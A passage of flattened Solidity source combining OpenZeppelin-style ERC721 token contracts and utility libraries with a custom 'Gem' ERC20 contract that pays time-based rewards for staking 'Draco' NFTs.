ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Ownable, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (_msgSender() != owner()) { require(!paused(), "ERC721Pausable: token transfer while paused"); } } } // contracts/Cheeth.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; contract Gem is ERC20Burnable, Ownable { uint256 public constant MAX_WALLET_STAKED = 10; uint256 public constant EMISSION_RATE = uint256(40 * 1e18) / 86400; // 40 GEM / Draco / 86400 uint256 public constant TREASURY_SUPPLY = 1000000 * 1e18; uint256 public endTime = 2000000000; // Wednesday, 18 May 2033 03:33:20 uint256 public constant STAKING_START = 1638248400; // Tuesday, 30 November 2021 05:00:00 GMT address nullAddress = 0x0000000000000000000000000000000000000000; address public cocoDracoAddress; //Mapping of draco to timestamp mapping(uint256 => uint256) internal tokenIdToTimeStamp; //Mapping of draco to staker mapping(uint256 => address) internal tokenIdToStaker; //Mapping of staker to draco mapping(address => uint256[]) internal stakerToTokenIds; modifier onlyDracoAddress() { require(msg.sender == cocoDracoAddress, "Not draco address"); _; } constructor() ERC20("Gem", "GEM") { _mint(msg.sender, TREASURY_SUPPLY); } function setCocoDracoAddress(address _cocoDracoAddress) public onlyOwner { cocoDracoAddress = _cocoDracoAddress; } function setEndTime(uint256 _endTime) public onlyOwner { endTime = _endTime; } function getTokensStaked(address staker) public view returns (uint256[] memory) { return stakerToTokenIds[staker]; } function remove(address staker, uint256 index) internal { if (index >= stakerToTokenIds[staker].length) return; for (uint256 i = index; i < stakerToTokenIds[staker].length - 1; i++) { stakerToTokenIds[staker][i] = stakerToTokenIds[staker][i + 1]; } stakerToTokenIds[staker].pop(); } function removeTokenIdFromStaker(address staker, uint256 tokenId) internal { for (uint256 i = 0; i < stakerToTokenIds[staker].length; i++) { if (stakerToTokenIds[staker][i] == tokenId) { //This is the tokenId to remove; remove(staker, i); } } } function stakeByIds(uint256[] memory tokenIds) public { require( stakerToTokenIds[msg.sender].length + tokenIds.length <= MAX_WALLET_STAKED, "Max 10 staked draco" ); require(block.timestamp >= STAKING_START, "Stake not started"); require(block.timestamp <= endTime , "Stake ended"); for (uint256 i = 0; i < tokenIds.length; i++) { require( IERC721(cocoDracoAddress).ownerOf(tokenIds[i]) == msg.sender && tokenIdToStaker[tokenIds[i]] == nullAddress, "Token must be stakable by you!" ); IERC721(cocoDracoAddress).transferFrom( msg.sender, address(this), tokenIds[i] ); stakerToTokenIds[msg.sender].push(tokenIds[i]); tokenIdToTimeStamp[tokenIds[i]] = block.timestamp; tokenIdToStaker[tokenIds[i]] = msg.sender; } } function unstakeAll() public { require( stakerToTokenIds[msg.sender].length > 0, "Must have at least one token staked!" ); uint256 totalRewards = 0; for (uint256 i = stakerToTokenIds[msg.sender].length; i > 0; i--) { uint256 tokenId = stakerToTokenIds[msg.sender][i - 1]; IERC721(cocoDracoAddress).transferFrom( address(this), msg.sender, tokenId ); totalRewards = totalRewards + getRewardsByTokenId(tokenId); removeTokenIdFromStaker(msg.sender, tokenId); tokenIdToStaker[tokenId] = nullAddress; } _mint(msg.sender, totalRewards); } function unstakeByIds(uint256[] memory tokenIds) public { uint256 totalRewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { require( tokenIdToStaker[tokenIds[i]] == msg.sender, "Message Sender was not original staker!" ); IERC721(cocoDracoAddress).transferFrom( address(this), msg.sender, tokenIds[i] ); totalRewards = totalRewards + getRewardsByTokenId(tokenIds[i]); removeTokenIdFromStaker(msg.sender, tokenIds[i]); tokenIdToStaker[tokenIds[i]] = nullAddress; } _mint(msg.sender, totalRewards); } function claimByTokenId(uint256 tokenId) public { require( tokenIdToStaker[tokenId] == msg.sender, "Token is not claimable by you!" ); _mint( msg.sender, getRewardsByTokenId(tokenId) ); tokenIdToTimeStamp[tokenId] = block.timestamp; } function claimAll() public { uint256[] memory tokenIds = stakerToTokenIds[msg.sender]; uint256 totalRewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { require( tokenIdToStaker[tokenIds[i]] == msg.sender, "Token is not claimable by you!" ); totalRewards = totalRewards + getRewardsByTokenId(tokenIds[i]); tokenIdToTimeStamp[tokenIds[i]] = block.timestamp; } _mint(msg.sender, totalRewards); } function getAllRewards(address staker) public view returns (uint256) { uint256[] memory tokenIds = stakerToTokenIds[staker]; uint256 totalRewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { totalRewards = totalRewards + getRewardsByTokenId(tokenIds[i]); } return totalRewards; } function getRewardsByTokenId(uint256 tokenId) public view returns (uint256) { require( tokenIdToStaker[tokenId] != nullAddress, "Token is not staked!" ); uint256 secondsStaked = block.timestamp - tokenIdToTimeStamp[tokenId]; if(block.timestamp > endTime){ secondsStaked = endTime - tokenIdToTimeStamp[tokenId]; } return secondsStaked * EMISSION_RATE; } function getStaker(uint256 tokenId) public view returns (address) { return tokenIdToStaker[tokenId]; } function burn(address _user, uint256 _amount) public onlyDracoAddress { _burn(_user, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason 